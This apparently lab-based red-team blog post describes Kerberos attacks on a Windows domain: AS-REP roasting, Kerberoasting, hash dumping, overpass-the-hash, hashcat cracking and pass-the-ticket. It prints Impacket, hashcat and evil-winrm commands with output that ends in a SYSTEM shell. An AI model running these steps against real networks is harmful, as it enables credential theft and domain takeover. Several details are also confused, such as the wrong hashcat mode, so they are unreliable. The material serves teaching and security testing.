Attacking Kerberos – Part 2

In the previous blog, “Attacking Kerberos Part 1,” we discussed the fundamental concepts of how Kerberos operates. This blog will delve into potential attacks that a red teamer can execute in an environment where Kerberos is in use. Let’s get started.

Lab Setup: Windows Server 2019 (IP: and Kali Linux (IP: Both the VM are running on Vritual box and the attacking machine Kali VM is not joined to the domain.


In a previous blog post, I discussed the ASREPROAST attack. This attack targets users in an environment who have the ‘DONT_REQ_PREAUTH’ flag enabled, meaning they don’t require pre-authentication. When pre-authentication is disabled for a user, adversaries can impersonate that user by sending a KRB_AS_REQ request and obtaining a KRB_AS_REP from the KDC. To perform this attack, We’ll use Impacket’s script, in combination with a username.txt file that contains a list of potential usernames to gather KRB_AS_REP messages from users with pre-authentication disabled.

# python VANDAN-DC/ -dc-ip -no-pass -usersfile userfile.txt -outputfile hashes.asreproast
Impacket v0.12.0.dev1+20231010.211240.56747803 - Copyright 2023 Fortra


Now that we have the KRB_AS_REP, we can try to figure out the password for the user krb_one. We’ll do this offline using a tool like hashcat.

# hashcat -m 18200 --force -a 0 hashes.asreproast rockyou.txt 
hashcat (v6.2.6) starting


Sometimes, the password you’re trying to crack might not be in the dictionary you’re using. It’s a matter of luck. However, in my opinion, if you find a username, you can try doing some online research (OSINT) on that username. In certain cases, some business applications use unique usernames, and their default passwords might not be in the dictionary you’re using for offline password cracking.


In the ASREPROAST attack, we found a user who had pre-authentication disabled, obtained their Ticket Granting Ticket (TGT), and later cracked their password offline. Kerberoasting, on the other hand, operates differently. It requires a domain account with no special privileges. In a Kerberoasting attack, the goal is to obtain the Ticket Granting Service (TGS) for a service associated with a domain user account (not a machine user). To execute this attack, we’ll use Impacket’s script) and a low-privilege domain account. Our target for this Kerberoasting attack is a Windows Server 2019 and Kali will be our attacking machine.

# python vandan.lab/win10_minor_user:P@ssword123 -outputfile hashes.asreproast
Impacket v0.12.0.dev1+20231010.211240.56747803 - Copyright 2023 Fortra

Name            MemberOf  PasswordLastSet             LastLogon                   UAC      
--------------  --------  --------------------------  --------------------------  --------
kerb_vuln_user            2023-09-28 01:51:24.451353  2023-10-18 00:50:46.149091  0x410200 
krb_one                   2023-10-18 00:54:44.915418  2023-10-18 00:50:46.152677  0x410200 


Next, you can attempt to crack the password by using an offline dictionary attack. Notice the Impacket command, which includes valid low privilege domain credentials that allowed us to obtain the Ticket Granting Service (TGS) for the krb_one user account. In the code snippet that follows, we successfully cracked the password offline. Following the crack, we were able to SSH into our domain using evil-winrm.

# hashcat -m 18200 --force -a 0 hashes.asreproast rockyou.txt
hashcat (v6.2.6) starting


# evil-winrm -i -u krb_one -p K****************3
*Evil-WinRM* PS C:\Users\krb_one\Documents> whoami
*Evil-WinRM* PS C:\Users\krb_one\Documents> 

Overpass The Hash aka Pass The Key

In the ASREPROAST Attack, we saw how an adversaries can take advantage of the the user with pre-authentication disabled and send KRB_AP_REQ to the server and received KRB_AP_REP. Follownig to that we also looked at Kerberoasting attack where an adversaries would need at least one valid low priviledge domain credentials to request a Ticket Granting Ticket (TGT) for another users. Overpass The Hash or Pass The Key attack works in a different way. Here, adversaries would not have credentials but a hash would be used to request a TGT for another user. To successfully carry out this attack, an adversaries would need user’s NTLM hash.

# python vandan.lab/krb_one@ -just-dc-user Administrator -just-dc-ntlm
Impacket v0.12.0.dev1+20231010.211240.56747803 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Cleaning up...

In the above code snap, we were able to obtained the NTLM hash for the Administrator User and now we’re going to obtained the Ticket Granting Ticket (TGT) for the Administrator User.

# python vandan.lab/Administrator -hashes aad3b**********ee:cb8a428385*******************6793010d60f5dc
Impacket v0.12.0.dev1+20231010.211240.56747803 - Copyright 2023 Fortra

[*] Saving ticket in Administrator.ccache

Since, we have the NTLM hash, we can try cracking the hash using hashcat. In the following code snap, I was able to cracked the NTLM hash for the Administrator User.

# hashcat -m 1000 ntlm rockyou.txt
hashcat (v6.2.6) starting


Alternatively, we can use the hash to get the shell for the user. In my case, I obtained the hash for the Administrator user so I was able to obtained the System Shell however, In the real world scenario, an adversaries will get the user shell.

# python -hashes aad*****************404ee:cb8a42******************10d60f5dc Administrator@ cmd.exe
Impacket v0.12.0.dev1+20231010.211240.56747803 - Copyright 2023 Fortra

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file uEXQzdCv.exe
[*] Opening SVCManager on
[*] Creating service hNcs on
[*] Starting service hNcs.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Pass The Ticket Attack

Pass The Ticket is a method for obtaining another user’s Ticket Granting Ticket (TGT) in Kerberos. To utilize this ticket, an adversary would also require a session key. One way to obtain the TGT is through a Man-In-The-Middle (MiTM) attack as Kerberos communication occurs over TCP or UDP. However, this method doesn’t provide the session keys. To obtain both the session keys and the ticket from the lsass process memory, tools like Mimikatz can be used.

With Mimikatz, it becomes possible to execute a Pass The Ticket attack and obtain a ticket from the NTLM hash. In a Windows environment, “Pass The Key” refers to providing the user’s NTLM hash of their password rather than the actual password.

In a Pass The Ticket attack, instead of using the NTLM hash to request the tickets, the ticket itself is stolen to authenticate as its owner. It’s worth noting that Windows and Linux store these tickets differently.

In Linux, the tickets are stored in Credentials Caches, also known as ccache. Adversaries can find the tickets in three interesting locations:

  • Tickets are stored in the /tmp directory with filenames like krb5cc.%uid.
  • Kernel Keyring, a special memory place in the Linux kernel designed for storing keys.
  • Process Memory when a single process needs to access the ticket.

My attacking VM is not connected to the domain, I’m unable to demonstrate the file structure of the /tmp/ directory containing the Kerberos tickets. However, Adversaries can obtained these tickets and perform pass the ticket attack.

Credits where its due

  • MS-KILE:
  • Impacket:
  • MIT Kerberos Credential Thievery Research Paper: